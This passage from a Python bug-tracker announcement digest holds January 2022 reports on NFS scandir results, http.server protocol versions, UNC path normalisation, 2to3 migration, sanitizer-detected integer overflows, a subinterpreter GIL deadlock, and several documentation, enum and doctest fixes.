---------- components: Subinterpreters messages: 409860 nosy: vstinner priority: normal severity: normal status: open title: [subinterpreters] Unicode interned strings must not be shared between interpreters versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:57:09 2022 From: report at bugs.python.org (Nicolas SURRIBAS) Date: Thu, 06 Jan 2022 15:57:09 +0000 Subject: [New-bugs-announce] [issue46284] DirEntry returns invalid values for is_dir and is_file on NFS Message-ID: <1641484629.51.0.786983254218.issue46284@roundup.psfhosted.org> New submission from Nicolas SURRIBAS : Hello, I bumped into this strange behavior several times when using os.scandir on mounted NFS shares. I'm using Python 3.9.1 >>> path = b'/mnt/nfs_share/sdb1/System Volume Information/' >>> l = list(os.scandir(path)) >>> print(l[2].name) b'WPSettings.dat' >>> print(l[2].path) b'/mnt/nfs_share/sdb1/System Volume Information/WPSettings.dat' >>> print(l[2].is_file()) False >>> print(l[2].is_dir()) True >>> print(os.path.isfile(l[2].path)) True >>> print(os.path.isdir(l[2].path)) False ---------- components: Library (Lib) messages: 409869 nosy: Nicolas SURRIBAS priority: normal severity: normal status: open title: DirEntry returns invalid values for is_dir and is_file on NFS type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 13:39:21 2022 From: report at bugs.python.org (Hugo Almeida) Date: Thu, 06 Jan 2022 18:39:21 +0000 Subject: [New-bugs-announce] [issue46285] http/server.py wont respect its protocol_version Message-ID: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> New submission from Hugo Almeida : Hi, Sorry for my poor English, this is not a spam issue. How to reproduce ================ File about `http/server.py`, line 1235 at main branch. 1st, change `protocol_version`, e.g. from "HTTP/1.0" to "HTTP/1.1": --- protocol="HTTP/1.0", port=8000, ... +++ protocol="HTTP/1.1", port=8000, ... 2ed, run with `python -m http.server` and test by: `curl http://127.0.0.1:8000 2>/dev/null| head -n 1` Result ====== The response head line will always been a fixed HTTP Version refer to `BaseHTTPRequestHandler.protocol_version` defined, thus "HTTP/1.0 200 OK" currently. Expected ======== It should equal to `http.server.test(protocol="...")` which specified like above, for this issue, it is expected to be "HTTP/1.1 200 OK". P.S. ==== I know it is just locate in a test code area (http.servers::test), but what I submit here is about a Python Variable Scope issue maybe. ---------- components: Library (Lib) messages: 409894 nosy: openalmeida priority: normal severity: normal status: open title: http/server.py wont respect its protocol_version type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:13:20 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 19:13:20 +0000 Subject: [New-bugs-announce] [issue46286] use the new POP_JUMP_IF_NOT_NONE to simplify except* a bit Message-ID: <1641496400.19.0.803560807878.issue46286@roundup.psfhosted.org> Change by Irit Katriel : ---------- assignee: iritkatriel components: Interpreter Core nosy: iritkatriel priority: normal severity: normal status: open title: use the new POP_JUMP_IF_NOT_NONE to simplify except* a bit type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:36:40 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 Jan 2022 19:36:40 +0000 Subject: [New-bugs-announce] [issue46287] UNC path normalisation issues on Windows Message-ID: <1641497800.1.0.236156717354.issue46287@roundup.psfhosted.org> New submission from Steve Dower : Taken from https://github.com/python/cpython/pull/30362#issuecomment-1006840632 For Windows, should there be tests for invalid UNC paths such as "//", "//..", "//../..", "//../../..", "//server", "//server/..", and "//server/../.."? This will help to ensure that future changes never allow an invalid path to be normalized as a valid path. Also, it's not a major problem that should prevent merging, but the way repeated slashes are handled prior to the second component of a UNC path is less than ideal: >>> os.path.normpath('//spam///eggs') '\\\\spam\\\\eggs' >>> os.path.normpath('//spam///eggs/..') '\\\\spam\\\\' This case isn't a valid UNC share, since it's just "//spam", without a share component. However, the repeated slashes start the filepath part and should be reduced to a single backslash. That's what the GetFullPathNameW() call does in abspath(): >>> os.path.abspath('//spam///eggs') '\\\\spam\\eggs' >>> os.path.abspath('//spam///eggs/..') '\\\\spam\\' ---------- components: Windows messages: 409903 nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: test needed status: open title: UNC path normalisation issues on Windows type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 02:27:16 2022 From: report at bugs.python.org (Karthik S) Date: Fri, 07 Jan 2022 07:27:16 +0000 Subject: [New-bugs-announce] [issue46288] Migrating python 2.7 to 3.6 using 2to3 tool Message-ID: <1641540436.39.0.283910400749.issue46288@roundup.psfhosted.org> New submission from Karthik S : Greeting of the day to all.. I would like to address few queries as mentioned in the below. python 2.7 code is running fine on RHEL 7.9,we are migrating to python3 from Python2 using 2to3 on RHEL 7.9. After migrating, When we run our products in python 3.6,we are facing some modules are not imported error. Example 1: from IN import AF_INET6 ModuleNotFoundError: No module named 'IN' In 2.7 IN modules coming from python-libs package,but in python3-libs doesnt find the IN module. /usr/lib64/python2.7/plat-linux2/IN.py is avaialbe in python-libs-2.7.5-89.el7.x86_64 ,but it is not avilable in python3-libs. [root at opt]# rpm -ql python-libs | grep -i IN.py /usr/lib64/python2.7/plat-linux2/IN.py /usr/lib64/python2.7/plat-linux2/IN.pyc /usr/lib64/python2.7/plat-linux2/IN.pyo [root@ opt]# rpm -ql python3-libs | grep -i IN.py [root@ opt]# Example2: from yum import YumBase ModuleNotFoundError: No module named 'yum' In RHEL 7.9 python 2.7 /usr/lib/python2.7/site-packages/yum is avaialbe , but in RHEL 7.9 with python3 it is not available.python3 is require python3-dnf but this is avaialbe from RHEL 8,doesnt have in RHEL 7.9. Kindly help, how to overcome this kind of issue, it would be more helpful for us to move forward. We are using 2to3 migration tool for converting py2 to py3. ---------- components: 2to3 (2.x to 3.x conversion tool) messages: 409950 nosy: mskarthik28 priority: normal severity: normal status: open title: Migrating python 2.7 to 3.6 using 2to3 tool type: compile error versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 04:40:18 2022 From: report at bugs.python.org (Anh71me) Date: Fri, 07 Jan 2022 09:40:18 +0000 Subject: [New-bugs-announce] [issue46289] AST: FomattedValue conversion's default value should be -1 Message-ID: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> New submission from Anh71me : An unexpected behavior lookup: ```python >>> ast.FormattedValue(ast.Str('ss')).conversion >>> ast.unparse(ast.FormattedValue(ast.Str('ss'))) Traceback (most recent call last): File "", line 1, in File "/usr/local/lib/python3.9/ast.py", line 1564, in unparse return unparser.visit(ast_obj) File "/usr/local/lib/python3.9/ast.py", line 801, in visit self.traverse(node) File "/usr/local/lib/python3.9/ast.py", line 795, in traverse super().visit(node) File "/usr/local/lib/python3.9/ast.py", line 407, in visit return visitor(node) File "/usr/local/lib/python3.9/ast.py", line 1153, in visit_FormattedValue self._fstring_FormattedValue(node, self.buffer_writer) File "/usr/local/lib/python3.9/ast.py", line 1178, in _fstring_FormattedValue conversion = chr(node.conversion) TypeError: an integer is required (got type NoneType) >>> ast.unparse(ast.FormattedValue(ast.Str('ss'), -1)) 'f"{\'ss\'}"' ``` ast.FormattedValue conversion's default value is expected to be -1 but not None See: https://docs.python.org/3/library/ast.html#ast.FormattedValue Other: If certainly, it's also a bug on typeshed. ---------- components: Parser messages: 409955 nosy: iyume, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: AST: FomattedValue conversion's default value should be -1 type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 05:36:09 2022 From: report at bugs.python.org (Zsolt Dollenstein) Date: Fri, 07 Jan 2022 10:36:09 +0000 Subject: [New-bugs-announce] [issue46290] Parameter names are inaccurate in dataclasses docs Message-ID: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> New submission from Zsolt Dollenstein : Parameter names for `asdict`, `astuple`, `is_dataclass`, and `replace` are incorrect in the docs. The first parameter for all these is `obj`. ---------- assignee: docs at python components: Documentation messages: 409957 nosy: docs at python, zsol priority: normal severity: normal status: open title: Parameter names are inaccurate in dataclasses docs versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 08:30:17 2022 From: report at bugs.python.org (Gregor Titze) Date: Fri, 07 Jan 2022 13:30:17 +0000 Subject: [New-bugs-announce] [issue46291] [doc] First argument to raise can also be BaseException Message-ID: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> New submission from Gregor Titze : The Python Tutorial describes the first argument to the raise statement as follows: """ This must be either an exception instance or an exception class (a class that derives from Exception). """ https://docs.python.org/3/tutorial/errors.html#raising-exceptions However, the Python Language Reference states, that exceptions should be a subclass or instance of BaseException. https://docs.python.org/3/reference/simple_stmts.html#grammar-token-python-grammar-raise_stmt I think it would be correct, to adapt the Tutorial to match the Reference. ---------- assignee: docs at python components: Documentation messages: 409961 nosy: docs at python, gtitze priority: normal severity: normal status: open title: [doc] First argument to raise can also be BaseException type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:11:50 2022 From: report at bugs.python.org (James Casbon) Date: Fri, 07 Jan 2022 14:11:50 +0000 Subject: [New-bugs-announce] [issue46292] Add microseconds to logging.LogRecord Message-ID: <1641564710.75.0.603666211799.issue46292@roundup.psfhosted.org> New submission from James Casbon : LogRecord makes microseconds available via the msecs attribute. This patch adds microseconds via usecs attribute. Some regulators (eg MIFID II) require accuracy greater than 1ms in some industries. This patch calls time_ns rather than time so that the usecs and msecs are calculated from int types and then gets the original ct attribute via division. ---------- files: usecs.patch keywords: patch messages: 409963 nosy: jamescasbon priority: normal severity: normal status: open title: Add microseconds to logging.LogRecord Added file: https://bugs.python.org/file50546/usecs.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:37:58 2022 From: report at bugs.python.org (Preetham Nanjappa) Date: Fri, 07 Jan 2022 14:37:58 +0000 Subject: [New-bugs-announce] [issue46293] Typo in specifying escape sequence Message-ID: <1641566278.48.0.337142384825.issue46293@roundup.psfhosted.org> New submission from Preetham Nanjappa : See section "2.4.1. String and Bytes literals" of 3.10.1 documentation. https://docs.python.org/3.10/reference/lexical_analysis.html#string-and-bytes-literals Escape Sequence table. First line. `\newline` should have been `\n` ---------- assignee: docs at python components: Documentation messages: 409967 nosy: docs at python, ilovedexter priority: normal severity: normal status: open title: Typo in specifying escape sequence versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 10:06:13 2022 From: report at bugs.python.org (Steven Wirsz) Date: Fri, 07 Jan 2022 15:06:13 +0000 Subject: [New-bugs-announce] [issue46294] Integer overflow & Int values loaded into Bool detected via Libfuzzer & UndefinedBehaviorSanitizer Message-ID: <1641567973.1.0.158416256462.issue46294@roundup.psfhosted.org> New submission from Steven Wirsz : Compiling source from github on January 6, 2022, detected via Libfuzzer & UndefinedBehaviorSanitizer: # ./fuzz_struct_unpack crash-a0d.txt Running: crash-a0d.txt /src/cpython3/Modules/_struct.c:509:28: runtime error: load of value 128, which is not a valid value for type '_Bool' Python/pyhash.c:396:9: runtime error: unsigned integer overflow: 17111126337582519137 + 1455368869671451682 cannot be represented in type 'unsigned long' Python/pyhash.c:414:5: runtime error: unsigned integer overflow: 6843264283216330929 + 16329705011411640967 cannot be represented in type 'unsigned long' Python/pyhash.c:417:5: runtime error: unsigned integer overflow: 13747253807228978341 + 10396395245414858527 cannot be represented in type 'unsigned long' Python/pyhash.c:418:5: runtime error: unsigned integer overflow: 17173606624272818715 + 4069551840979798976 cannot be represented in type 'unsigned long' Python/pyhash.c:419:5: runtime error: unsigned integer overflow: 12388162105911730119 + 9634611433502982398 cannot be represented in type 'unsigned long' Objects/longobject.c:288:22: runtime error: unsigned integer overflow: 0 - 18446744073709550595 cannot be represented in type 'unsigned long' Objects/longobject.c:4872:31: runtime error: unsigned integer overflow: 18446744073709551615 + 1 cannot be represented in type 'unsigned long' Objects/longobject.c:3124:33: runtime error: unsigned integer overflow: 0 - 1 cannot be represented in type 'unsigned int' Objects/longobject.c:3130:33: runtime error: unsigned integer overflow: 0 - 1 cannot be represented in type 'unsigned int' Objects/tupleobject.c:426:21: runtime error: unsigned integer overflow: 219911203979059663 * 14029467366897019727 cannot be represented in type 'unsigned long' Objects/tupleobject.c:428:13: runtime error: unsigned integer overflow: 14367201699383568926 * 11400714785074694791 cannot be represented in type 'unsigned long' Objects/tupleobject.c:426:13: runtime error: unsigned integer overflow: 18351143362227076666 + 1497884194698650478 cannot be represented in type 'unsigned long' Objects/tupleobject.c:432:9: runtime error: unsigned integer overflow: 18406138070188819878 + 2870177450013471924 cannot be represented in type 'unsigned long' Python/traceback.c:247:86: runtime error: unsigned integer overflow: 18446744073709551615 * 2 cannot be represented in type 'unsigned long' Objects/frameobject.c:51:72: runtime error: unsigned integer overflow: 18446744073709551615 * 2 cannot be represented in type 'unsigned long' ---------- files: crash-a0d.txt messages: 409973 nosy: swirsz priority: normal severity: normal status: open title: Integer overflow & Int values loaded into Bool detected via Libfuzzer & UndefinedBehaviorSanitizer type: crash versions: Python 3.11 Added file: https://bugs.python.org/file50547/crash-a0d.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 10:18:15 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 15:18:15 +0000 Subject: [New-bugs-announce] [issue46295] Subinterpreters hang in GIL adquisition if an extension module calls PyGILState_Ensure. Message-ID: <1641568695.11.0.970529706088.issue46295@roundup.psfhosted.org> New submission from Pablo Galindo Salgado : Reproducer: Code for native_ext.cpp: #define PY_SSIZE_T_CLEAN #include #include #include #include #pragma GCC push_options #pragma GCC optimize ("O0") PyObject* run_simple(PyObject*, PyObject*) { PyGILState_STATE gstate; gstate = PyGILState_Ensure(); PyGILState_Release(gstate); Py_RETURN_NONE; } static PyMethodDef methods[] = { {"run_simple", run_simple, METH_NOARGS, "Execute a chain of native functions"}, {NULL, NULL, 0, NULL}, }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef moduledef = {PyModuleDef_HEAD_INIT, "native_ext", "", -1, methods}; PyMODINIT_FUNC PyInit_native_ext(void) { return PyModule_Create(&moduledef); } #else PyMODINIT_FUNC initnative_ext(void) { Py_InitModule("native_ext", methods); } #endif Code for setup.py: import os from distutils.core import Extension from distutils.core import setup ROOT = os.path.realpath(os.path.dirname(__file__)) setup( name="native_ext", version="0.0", ext_modules=[ Extension( "native_ext", language="c++", sources=[os.path.join(ROOT, "native_ext.cpp")], ), ], zip_safe=False, ) Compile extension: python setup.py build_ext --inplace Execute the following script: from test.support import run_in_subinterp run_in_subinterp(""" import sys sys.path.append(".") import native_ext native_ext.run_simple() """) The script deadlocks ---------- messages: 409975 nosy: eric.snow, pablogsal, vstinner priority: normal severity: normal status: open title: Subinterpreters hang in GIL adquisition if an extension module calls PyGILState_Ensure. versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:36:29 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 17:36:29 +0000 Subject: [New-bugs-announce] [issue46296] Unreachable condition: `if enum_class._member_type_ is object` Message-ID: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org> New submission from Nikita Sobolev : This condition can never be `True`: https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Lib/enum.py#L222-L223 Why? Because: 1. It is executed only when `if not enum_class._use_args_:`: https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Lib/enum.py#L215 2. But, `enum_class._use_args_` will always be `False` for cases when `enum_class._member_type_` is `object` 3. It is defined here: https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Lib/enum.py#L937 So, I guess that removing this condition can simplify the `enum.py`. Coverage shows that this part is not tested. I will send a PR shortly. ---------- components: Library (Lib) messages: 409989 nosy: sobolevn priority: normal severity: normal status: open title: Unreachable condition: `if enum_class._member_type_ is object` versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:57:35 2022 From: report at bugs.python.org (=?utf-8?q?Derzsi_D=C3=A1niel?=) Date: Fri, 07 Jan 2022 19:57:35 +0000 Subject: [New-bugs-announce] [issue46297] Python interpreter crashes on bootup with multiple PythonPaths set in registry Message-ID: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org> New submission from Derzsi D?niel : When multiple PythonPaths are set up in the registry, in addition to the default PythonPath, the interpreter crashes immediately on bootup. ```Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Python\PythonCore\3.11\PythonPath\Panda3D] @="C:\\Panda3D-1.11.0-x64\\python"``` The interpreter will crash with the following message: ```Exception ignored error evaluating path: Traceback (most recent call last): File "", line 652, in TypeError: QueryValue expected 2 arguments, got 1 Fatal Python error: error evaluating path Python runtime state: core initialized Current thread 0x00002bd0 (most recent call first): ``` This regression was introduced in the Python 3.11 branch with commit 99fcf1505218464c489d419d4500f126b6d6dc28 on Dec 3, 2021. ---------- components: Interpreter Core messages: 410019 nosy: darktohka priority: normal severity: normal status: open title: Python interpreter crashes on bootup with multiple PythonPaths set in registry type: crash versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:05:51 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Fri, 07 Jan 2022 20:05:51 +0000 Subject: [New-bugs-announce] [issue46298] Automatically check for __slots__-mistakes in Lib Message-ID: <1641585951.85.0.318865521912.issue46298@roundup.psfhosted.org> New submission from Arie Bovenberg : Recently, I've identified some __slots__-related mistakes in the stdlib (bpo-46247, bpo-46244, bpo-46246). Looking forward, it'd be wise to automate this check so mistakes don't creep into the code in the future. Implementation-wise, the most straightforward solution would be a single test that walks all Lib/ (sub)modules and checks all classes. Perhaps those with more experience in the test suite can chime in where this check might live ---------- components: Library (Lib), Tests messages: 410023 nosy: ariebovenberg priority: normal severity: normal status: open title: Automatically check for __slots__-mistakes in Lib versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:38:58 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 22:38:58 +0000 Subject: [New-bugs-announce] [issue46299] Improve several exception handling practices in `test_descr.py` Message-ID: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several problems in `test_descr.py` that I've found: 1. In `test_dir` there's a test case that ensure that `TypeError` is raised in some case: https://github.com/python/cpython/blame/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/test/test_descr.py#L2548-L2551 But it never does anything if this error is not raised. So, this test can contain a possible problem inside. It will just skip a scenario where `TypeError` is not thrown. 2. The same with `test_file_failt` here: https://github.com/python/cpython/blame/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/test/test_descr.py#L4451-L4456 If `RuntimeError` is not thrown - nothing happens 3. `assert 0, ...` is problematic: https://github.com/python/cpython/blame/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/test/test_descr.py#L4451-L4456 It can be dropped in optimized mode and it's error message is not ideal I will send a PR with all these problems fixed. ---------- components: Tests messages: 410050 nosy: sobolevn priority: normal severity: normal status: open title: Improve several exception handling practices in `test_descr.py` type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:41:04 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Fri, 07 Jan 2022 22:41:04 +0000 Subject: [New-bugs-announce] [issue46300] zlib.compress level and wbits args are shown as keyword-only in the documentation Message-ID: <1641595264.66.0.339861484052.issue46300@roundup.psfhosted.org> New submission from Andrei Kulakov : zlib.compress level and wbits args are shown as keyword-only in the documentation, however they are accepted as positional without error. Should the docs or the code be fixed? ---------- messages: 410051 nosy: andrei.avk priority: low severity: normal status: open title: zlib.compress level and wbits args are shown as keyword-only in the documentation type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 18:15:32 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 23:15:32 +0000 Subject: [New-bugs-announce] [issue46301] One branch is not covered in `Enum._convert_` Message-ID: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> New submission from Nikita Sobolev : This branch is never covered: https://github.com/python/cpython/blob/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/enum.py#L831 I will send a PR in a moment :) ---------- components: Tests messages: 410053 nosy: sobolevn priority: normal severity: normal status: open title: One branch is not covered in `Enum._convert_` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 18:22:39 2022 From: report at bugs.python.org (Pierre Fortin) Date: Fri, 07 Jan 2022 23:22:39 +0000 Subject: [New-bugs-announce] [issue46302] IndexError inside list comprehension + workaround Message-ID: <1641597759.71.0.591724063363.issue46302@roundup.psfhosted.org> New submission from Pierre Fortin : var = "u2" var.strip()[0] Works as expected, except that it returns IndexError (instead of "u") if used in a list comprehension -- at least, that's where I found it. Attached example script illustrates the issue. Call it with "mytest N" where N is 1 (fails), 2 (works), 3 (fails). mytest 1 -- KeyError expected; this was due to infile design change adding a digit to previously single char code mytest 2 -- workaround to actual issue in next test mytest 3 -- adding [0] fails when used in list comprehension ---------- components: Interpreter Core files: mytest messages: 410054 nosy: NetAlien priority: normal severity: normal status: open title: IndexError inside list comprehension + workaround type: behavior versions: Python 3.8 Added file: https://bugs.python.org/file50548/mytest _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 22:48:43 2022 From: report at bugs.python.org (Paul Campbell) Date: Sat, 08 Jan 2022 03:48:43 +0000 Subject: [New-bugs-announce] [issue46303] _Py_stat using incorrect type for status argument Message-ID: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> New submission from Paul Campbell : While attempting to embed the full cpython source in my application, I found that during compilation on Windows, there was a compilation issue due to struct stat not being defined. Taking a look at the file cpython/fileutils.h, it seems that the type of the status argument should be _Py_stat_struct instead of just stat to satisfy compilation for all supported platforms. ---------- messages: 410073 nosy: pacampbell priority: normal severity: normal status: open title: _Py_stat using incorrect type for status argument versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 23:09:44 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 08 Jan 2022 04:09:44 +0000 Subject: [New-bugs-announce] [issue46304] Unable to iterate over lines in a file without a block of code Message-ID: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org> New submission from Jason R. Coombs : I'd like to be able to do something pretty fundamental: lazily load lines from a file in a single expression. Best I can tell, that's not possible in the language without triggering warnings. One can use 'open' but that triggers a ResourceWarning: ``` $ $PYTHONWARNINGS='error' python -c "lines = open('/dev/null'); tuple(lines)" Exception ignored in: <_io.FileIO name='/dev/null' mode='rb' closefd=True> ResourceWarning: unclosed file <_io.TextIOWrapper name='/dev/null' mode='r' encoding='UTF-8'> ``` One can use a `with` statement, but that requires a block of code and can't be written easily in a single expression. One can use `pathlib.Path.read_text().splitlines()`, but that loads the whole file into memory. This issue affected the pip-run project, which required 5 new lines in order to make such an expression possible (https://github.com/jaraco/pip-run/commit/e2f395d8814539e1da467ac09295922d8ccaf14d). Can the standard library supply a function or method that would provide this behavior? ---------- components: Library (Lib) messages: 410075 nosy: jaraco priority: normal severity: normal status: open title: Unable to iterate over lines in a file without a block of code versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 02:54:07 2022 From: report at bugs.python.org (Samisafool) Date: Sat, 08 Jan 2022 07:54:07 +0000 Subject: [New-bugs-announce] [issue46305] SyntaxError when using dict key in fstring Message-ID: <1641628447.27.0.922498430073.issue46305@roundup.psfhosted.org> New submission from Samisafool : SyntaxError when using dict key in fstring Attached is a python file where this bug is visible. The error is different on CPython 3.8 and 3.9/3.10, interestingly. Occurs on CPython 3.8-10 and PyPy 3.8 7.3.7 Not sure which component to select, never filed a python bug report before. Hopefully this is correct. ---------- components: Interpreter Core files: test.py messages: 410079 nosy: Samisafool priority: normal severity: normal status: open title: SyntaxError when using dict key in fstring type: crash versions: Python 3.10, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50550/test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:39:04 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 08 Jan 2022 10:39:04 +0000 Subject: [New-bugs-announce] [issue46306] Suspicios operation in `doctest.py`: `None - 1` Message-ID: <1641638344.77.0.816845423289.issue46306@roundup.psfhosted.org> New submission from Nikita Sobolev : This line `lineno = getattr(obj, 'co_firstlineno', None)-1` does not look good. Link: https://github.com/python/cpython/blame/45d44b950f1dab0ef90d0a8f4fa75ffaae71500b/Lib/doctest.py#L1116 Why? 1. `CodeType` is guaranteed to have `co_firstlineno`. Docs: https://github.com/python/cpython/blob/45d44b950f1dab0ef90d0a8f4fa75ffaae71500b/Lib/inspect.py#L487 2. Even if it does not have it for some reason, this `getattr` does not help. It raises unhandled `TypeError`. We can simulate it by replacing `lineno = getattr(obj, 'co_firstlineno', None)-1` with `lineno = None-1` Here's what happens in this case: ``` ? ./python.exe -m test -v test_doctest == CPython 3.11.0a3+ (heads/issue-26767:45d44b950f, Jan 8 2022, 12:23:45) [Clang 11.0.0 (clang-1100.0.33.16)] == Darwin-18.7.0-x86_64-i386-64bit little-endian == cwd: /Users/sobolev/Desktop/cpython/build/test_python_78065? == CPU count: 4 == encodings: locale=UTF-8, FS=utf-8 0:00:00 load avg: 3.51 Run tests sequentially 0:00:00 load avg: 3.51 [1/1] test_doctest Failed to call load_tests: Traceback (most recent call last): File "/Users/sobolev/Desktop/cpython/Lib/unittest/loader.py", line 108, in loadTestsFromModule return load_tests(self, tests, pattern) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/test/test_doctest.py", line 3134, in load_tests tests.addTest(doctest.DocTestSuite(doctest)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 2391, in DocTestSuite tests = test_finder.find(module, globs=globs, extraglobs=extraglobs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 940, in find self._find(tests, obj, name, module, source_lines, globs, {}) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 1013, in _find self._find(tests, val, valname, module, source_lines, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 1001, in _find test = self._get_test(obj, name, module, globs, source_lines) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 1069, in _get_test lineno = self._find_lineno(obj, source_lines) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 1117, in _find_lineno None - 1 ~~~~~^~~ TypeError: unsupported operand type(s) for -: 'NoneType' and 'int' test test_doctest crashed -- Traceback (most recent call last): File "/Users/sobolev/Desktop/cpython/Lib/test/libregrtest/runtest.py", line 352, in _runtest_inner refleak = _runtest_inner2(ns, test_name) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/test/libregrtest/runtest.py", line 309, in _runtest_inner2 test_runner() ^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/test/libregrtest/runtest.py", line 272, in _test_module raise Exception("errors while loading tests") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Exception: errors while loading tests test_doctest failed (uncaught exception) == Tests result: FAILURE == 1 test failed: test_doctest Total duration: 1.0 sec Tests result: FAILURE ``` So, we have two options: 1. Think of a case when `CodeType` does not have `co_firstlineno` and handle it properly, like using `0` or `None` as `lineno` 2. Simplify this line to remove potential `TypeError` I think that this line should be rewritten as `lineno = obj.co_firstlineno - 1` I will send a PR for others to judge. ---------- components: Library (Lib) messages: 410092 nosy: sobolevn priority: normal severity: normal status: open title: Suspicios operation in `doctest.py`: `None - 1` type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:12:29 2022 From: report at bugs.python.org (Ben Kehoe) Date: Sat, 08 Jan 2022 20:12:29 +0000 Subject: [New-bugs-announce] [issue46307] string.Template should allow inspection of identifiers Message-ID: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> New submission from Ben Kehoe : Currently, the only thing that can be done with a string.Template instance and a mapping is either attempt to substitute with substitute() and catch a KeyError if some identifier has not been provided in the mapping, or substitute with safe_substitute() and not know whether all identifiers were provided. I propose adding a method that returns the identifiers in the template. Because the template string and pattern are exposed, this is already possible as a separate function: def get_identifiers(template): return list( set( filter( lambda v: v is not None, (mo.group('named') or mo.group('braced') for mo in template.pattern.finditer(template.template)) ) ) ) However, this function is not easy for a user of string.Template to construct without learning how the template pattern works (which is documented but intended to be learned only when subclassing or modifying id patterns). As a method on string.Template, this would 